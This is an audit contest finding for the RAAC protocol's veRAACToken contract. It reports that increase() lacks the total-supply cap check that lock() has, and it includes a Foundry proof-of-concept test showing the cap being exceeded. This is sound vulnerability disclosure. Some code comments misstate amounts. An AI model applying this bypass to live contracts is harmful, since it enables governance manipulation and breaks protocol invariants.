Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

`MAX_TOTAL_SUPPLY` Bypass in `veRAACToken` via `increase()` Function

Summary

The veRAACToken contract's increase() function lacks MAX_TOTAL_SUPPLY validation, allowing users to bypass the global supply cap. By creating small locks and then increasing them, an attacker can exceed the intended maximum total locked amount of tokens, potentially disrupting the protocol's tokenomics and governance power distribution.

Vulnerability Details

The veRAACToken contract implements a vote-escrowed token system where users can lock RAAC tokens to receive voting power. To prevent excessive token concentration and governance risk, the contract enforces two key limits:

  • MAX_LOCK_AMOUNT (10M tokens): Maximum amount per individual lock

  • MAX_TOTAL_SUPPLY (100M tokens): Maximum total voting power

However, while these limits are checked in the lock() function, they are not properly enforced in the increase() function:

// veRAACToken.sol
function lock(uint256 amount, uint256 duration) external nonReentrant {
if (amount > MAX_LOCK_AMOUNT) revert AmountExceedsLimit();
if (_totalLocked + amount > MAX_TOTAL_LOCKED_AMOUNT) revert AmountExceedsLimit();
// ... rest of function
}
function increase(uint256 amount) external nonReentrant {
_lockState.increaseLock(msg.sender, amount);
// ... rest of function
}

The vulnerability stems from the fact that while lock() enforces the MAX_TOTAL_SUPPLY limit, increase() allows users to bypass it. Consider this scenario:

  1. The protocol has 95M tokens already locked (close to MAX_TOTAL_SUPPLY of 100M)

  2. A user attempts to lock 10M tokens directly via lock() - this correctly reverts due to exceeding MAX_TOTAL_SUPPLY

  3. However, the same user can:

    • First create a small lock of 1M tokens (which passes the MAX_TOTAL_SUPPLY check as 95M + 1M < 100M)

    • Then call increase() with 9M tokens to grow their lock to 10M

  4. Since increase() lacks the MAX_TOTAL_SUPPLY check, the total locked amount grows to 105M, breaking the protocol's supply cap

poc

Foundry Envirement Setup
  • i'm using foundry for test , to integrate foundry :
    run :

    npm install --save-dev @nomicfoundation/hardhat-foundry

    add this to hardhat.config.cjs :

    require("@nomicfoundation/hardhat-foundry");

    run :

    npx hardhat init-foundry
  • comment the test/unit/libraries/ReserveLibraryMock.sol as it's causing compiling errors

  • inside test folder , create new dir foundry and inside it , create new file baseTest.sol , and copy/paste this there :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console2.sol";
import "../../contracts/core/tokens/DebtToken.sol";
import "../../contracts/core/tokens/RAACToken.sol";
import "../../contracts/core/tokens/veRAACToken.sol";
import "../../contracts/core/tokens/RToken.sol";
import "../../contracts/core/tokens/DEToken.sol";
import "../../contracts/core/pools/LendingPool/LendingPool.sol";
import "../../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../../contracts/core/tokens/RAACNFT.sol";
import "../../contracts/core/primitives/RAACHousePrices.sol";
import "../../contracts/mocks/core/tokens/crvUSDToken.sol";
import "../../contracts/core/collectors/FeeCollector.sol";
import "../../contracts/core/collectors/Treasury.sol";
import "../../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../../contracts/core/minters/RAACReleaseOrchestrator/RAACReleaseOrchestrator.sol";
contract baseTest is Test {
// Protocol contracts
crvUSDToken public crvUSD;
RAACToken public raacToken;
veRAACToken public veToken;
RAACHousePrices public housePrices;
RAACNFT public raacNFT;
RToken public rToken;
DebtToken public debtToken;
DEToken public deToken;
LendingPool public lendingPool;
StabilityPool public stabilityPool;
Treasury public treasury;
Treasury public repairFund;
FeeCollector public feeCollector;
RAACMinter public minter;
RAACReleaseOrchestrator public releaseOrchestrator;
// Test accounts
address public admin = makeAddr("admin");
address public user1 = makeAddr("user1");
address public user2 = makeAddr("user2");
address public user3 = makeAddr("user3");
// Constants
uint256 public constant INITIAL_MINT = 1000 ether;
uint256 public constant HOUSE_PRICE = 100 ether;
uint256 public constant INITIAL_PRIME_RATE = 0.1e27; // 10% in RAY
uint256 public constant TAX_RATE = 200; // 2% in basis points
uint256 public constant BURN_RATE = 50; // 0.5% in basis points
function setUp() public virtual {
vm.startPrank(admin);
// Deploy base tokens
crvUSD = new crvUSDToken(admin);
crvUSD.setMinter(admin);
raacToken = new RAACToken(admin, TAX_RATE, BURN_RATE);
veToken = new veRAACToken(address(raacToken));
releaseOrchestrator = new RAACReleaseOrchestrator(address(raacToken));
// Deploy mock oracle
housePrices = new RAACHousePrices(admin);
housePrices.setOracle(admin);
// Deploy NFT
raacNFT = new RAACNFT(address(crvUSD), address(housePrices), admin);
// Deploy pool tokens
rToken = new RToken("RToken", "RT", admin, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", admin);
deToken = new DEToken("DEToken", "DEToken", admin, address(rToken));
// Deploy core components
treasury = new Treasury(admin);
repairFund = new Treasury(admin);
feeCollector =
new FeeCollector(address(raacToken), address(veToken), address(treasury), address(repairFund), admin);
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNFT),
address(housePrices),
INITIAL_PRIME_RATE
);
stabilityPool = new StabilityPool(admin);
minter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), address(treasury));
// Initialize contracts
raacToken.setFeeCollector(address(feeCollector));
raacToken.manageWhitelist(address(feeCollector), true);
raacToken.manageWhitelist(address(veToken), true);
raacToken.manageWhitelist(admin, true);
raacToken.setMinter(admin);
raacToken.mint(user2, INITIAL_MINT);
raacToken.mint(user3, INITIAL_MINT);
raacToken.setMinter(address(minter));
bytes32 FEE_MANAGER_ROLE = feeCollector.FEE_MANAGER_ROLE();
bytes32 EMERGENCY_ROLE = feeCollector.EMERGENCY_ROLE();
bytes32 DISTRIBUTOR_ROLE = feeCollector.DISTRIBUTOR_ROLE();
feeCollector.grantRole(FEE_MANAGER_ROLE, admin);
feeCollector.grantRole(EMERGENCY_ROLE, admin);
feeCollector.grantRole(DISTRIBUTOR_ROLE, admin);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
raacToken.transferOwnership(address(minter));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(minter),
address(crvUSD),
address(lendingPool)
);
lendingPool.setStabilityPool(address(stabilityPool));
// Setup test environment
crvUSD.mint(user1, INITIAL_MINT);
crvUSD.mint(user2, INITIAL_MINT);
crvUSD.mint(user3, INITIAL_MINT);
housePrices.setHousePrice(1, HOUSE_PRICE);
vm.stopPrank();
}
// Helper functions
function mintCrvUSD(address to, uint256 amount) public {
vm.prank(admin);
crvUSD.mint(to, amount);
}
function setHousePrice(uint256 tokenId, uint256 price) public {
vm.prank(admin);
housePrices.setHousePrice(tokenId, price);
}
function calculateInterest(uint256 principal, uint256 rate, uint256 time) public pure returns (uint256) {
return principal * rate * time / 365 days / 1e27;
}
function warpAndAccrue(uint256 time) public {
vm.warp(block.timestamp + time);
lendingPool.updateState();
}
}
  • now create a pocs.sol inside test/foundry , and copy/paste this there :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "./baseTest.sol";
import {ERC4626} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockCurveVault is ERC4626 {
constructor(address _asset) ERC4626(ERC20(_asset)) ERC20("Mock Curve Vault", "mcrvUSD") {}
}
contract pocs is baseTest {
//poc here
}
  • here a a test shows how we can use increase() to grow a lock beyond the MAX_TOTAL_LOCKED_AMOUNT limit :

function test_poc09() public {
// Constants
uint256 MAX_TOTAL = 100_000_000e18; // 1B tokens
uint256 MAX_LOCK = 10_000_000e18; // 10M tokens per lock (private constant)
uint256 duration = veToken.MAX_LOCK_DURATION();
// Step 1: Fill up the veToken to near max capacity with user2
vm.startPrank(address(minter));
raacToken.mint(user2, 95_000_000 ether); // 90M tokens
vm.stopPrank();
vm.startPrank(user2);
raacToken.approve(address(veToken), type(uint256).max);
for (uint256 i; i < 9; i++) {
veToken.lock(MAX_LOCK, duration);
}
veToken.lock(5000000 ether, duration);
vm.stopPrank();
console.log("Initial total supply:", veToken.totalSupply());
// Step 2: Try to lock 30M tokens (should fail normally)
vm.startPrank(address(minter));
raacToken.mint(user1, 10_000_000 ether); // 30M tokens
vm.stopPrank();
vm.startPrank(user1);
raacToken.approve(address(veToken), type(uint256).max);
// This would fail due to MAX_TOTAL_SUPPLY check
vm.expectRevert();
veToken.lock(10_000_000 ether, duration);
// Step 3: Bypass MAX_TOTAL_SUPPLY by creating small locks first
veToken.lock(1000000 ether, duration);
// Step 4: Increase each lock to 10M (MAX_LOCK_AMOUNT)
// No MAX_TOTAL_SUPPLY check in increase()
veToken.increase(9_000_000 ether); // 1M -> 10M
// Step 5: Verify we bypassed MAX_TOTAL_SUPPLY
uint256 finalSupply = veToken.totalSupply();
console.log("Final total supply:", finalSupply);
assertTrue(finalSupply > MAX_TOTAL, "Should exceed MAX_TOTAL_SUPPLY");
vm.stopPrank();
}

Impact

  • Users can exceed the MAX_TOTAL_SUPPLY limit, breaking a core invariant of the system

  • This allows accumulating more voting power than intended, potentially enabling governance attacks

Tools Used

  • Foundry

  • Manual Review

Recommendations

consider checking against MAX_TOTAL_SUPPLY amount in the increase() function as well

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::increase doesn't check the token supply, making it possible to mint over the MAX

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.